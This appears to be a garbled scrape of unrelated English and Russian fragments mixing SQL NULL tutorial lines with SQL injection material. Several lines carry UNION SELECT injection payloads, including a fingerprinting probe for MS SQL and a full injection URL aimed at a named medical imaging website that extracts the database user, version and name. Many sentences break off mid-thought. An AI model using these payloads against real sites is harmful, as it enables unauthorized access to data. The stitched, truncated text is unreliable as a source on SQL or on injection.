Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number
What if all the row had null in locname? do you just want to get any one row out of those? What if all of them were non-null? what happens then?
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
· Using SELECT COUNT(*) or SELECT COUNT(1) (which is what I prefer to use) will return the total of all records returned in the result set regardless of NULL values.
Давайте выберем записи, у которых зарплата не равна NULL: SELECT * FROM workers WHERE salary IS NOT NULL. SQL запрос выберет следующие строки
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
Разрешение значений NULL в определениях столбцов вводит в приложение логику трех значений.Allowing null values
A field with a NULL value is a field with no value. If a field in a table is optional, it is possible to insert a new record or update a record without adding a value to this